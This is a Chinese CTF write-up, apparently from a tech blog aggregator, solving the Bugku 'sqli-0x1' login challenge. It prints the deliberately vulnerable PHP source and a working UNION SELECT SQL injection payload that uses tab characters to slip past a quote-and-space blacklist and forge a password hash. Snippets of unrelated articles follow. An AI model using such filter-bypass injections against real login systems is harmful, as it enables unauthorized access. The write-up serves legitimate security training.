news 2026/4/17 22:45:26

bugku——sqli-0x1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bugku——sqli-0x1

尝试万能和密码

发现不行,查看源码。给了一个路径 /?pls_help

<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>

第一部分

function is_trying_to_hak_me($str)里过滤了

['空格][空格']["][`][空格`][`空格][>][<]

只能存在 [数字或字母'数字或字母]的格式。

第二部分

是对这个/?pls_help高亮的。

第三部分

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }

这里是先判断user和pass是不是非空的

然后中间,连接数据库,漏洞就出在这里,直接拼接$user。

然后重点是下面的部分

将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]

我们需要创造一个新的记录

我么假设密码是123是456

我们先构造password就是sha256(密码+盐)$盐

8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456

然后构造查询语句

a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

这里的%09是空格,不然会被第一部分过滤掉

答案就出来了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/10 20:06:27

实邦电子嵌入式开发服务如何,技术实力可靠吗?

实邦电子&#xff1a;深耕单片机开发领域&#xff0c;以专业团队与丰富经验赋能客户创新在快速发展的电子科技领域&#xff0c;拥有一家技术可靠、经验丰富的合作伙伴&#xff0c;对于企业实现产品创新与市场突破至关重要。上海实邦电子科技有限公司&#xff0c;作为一家专注于…

作者头像 李华
网站建设 2026/4/8 14:07:27

psd转ugui

背景&#xff1a;当前2d小团队还是存在很多靠人手拼ui的情况&#xff0c;之前我也做了相关的工具可以对着设计图去拼ui但是还是感觉有点繁琐&#xff0c;程序员花大量时间在ui的拼接上实在是不太明智。于是参考网上的psd2ugui插件我改了一些便携方法&#xff0c;原作者的工具操…

作者头像 李华
网站建设 2026/4/16 20:20:24

AI+SNS Marketing 跨境营销实操:如何在社媒渠道提高外贸引流转化

掌握AISNS Marketing 跨境营销实操&#xff0c;易营宝教你用智能建站与AI工具提升外贸引流转化率。   本文面向信息调研者、企业决策者、项目管理者与经销商等B2B读者&#xff0c;聚焦如何在社媒渠道导流、筛选高质量线索并实现外贸网站的持续转化优化。当前外贸获客面临成本…

作者头像 李华
网站建设 2026/4/17 14:25:25

web APIs 第四天

&#xff08;详细资料和相关课程可搜b站黑马程序员&#xff09; 一、日期对象 1.日期对象 日期对象&#xff1a;用来表示时间的对象作用&#xff1a;可以得到当前系统时间1.1实例化在代码中new关键字&#xff0c;一般这个操作称为实例化创建一个时间对象并获取时间new Date()…

作者头像 李华
网站建设 2026/4/17 15:10:09

Qt菜单项切换主界面

下面是代码截图mainwindow.h#ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow>QT_BEGIN_NAMESPACE namespace Ui { class MainWindow; } QT_END_NAMESPACEclass file1; class file2; class edit01; class edit02; class gjxm; class MainWindow : public…

作者头像 李华
网站建设 2026/4/17 14:30:39

程序员转行大模型指南:2025年最佳时机,抓住这些岗位和选择方法,吃下第一波红利!

一、大模型热门岗位 1. 模型研发工程师 模型研发工程师的核心任务是设计和开发新的深度学习模型架构。这包括但不限于研究最新的模型论文&#xff0c;理解并复现复杂的模型结构&#xff0c;以及在此基础上进行创新改进。此外&#xff0c;工程师还需要关注模型训练过程中的性能…

作者头像 李华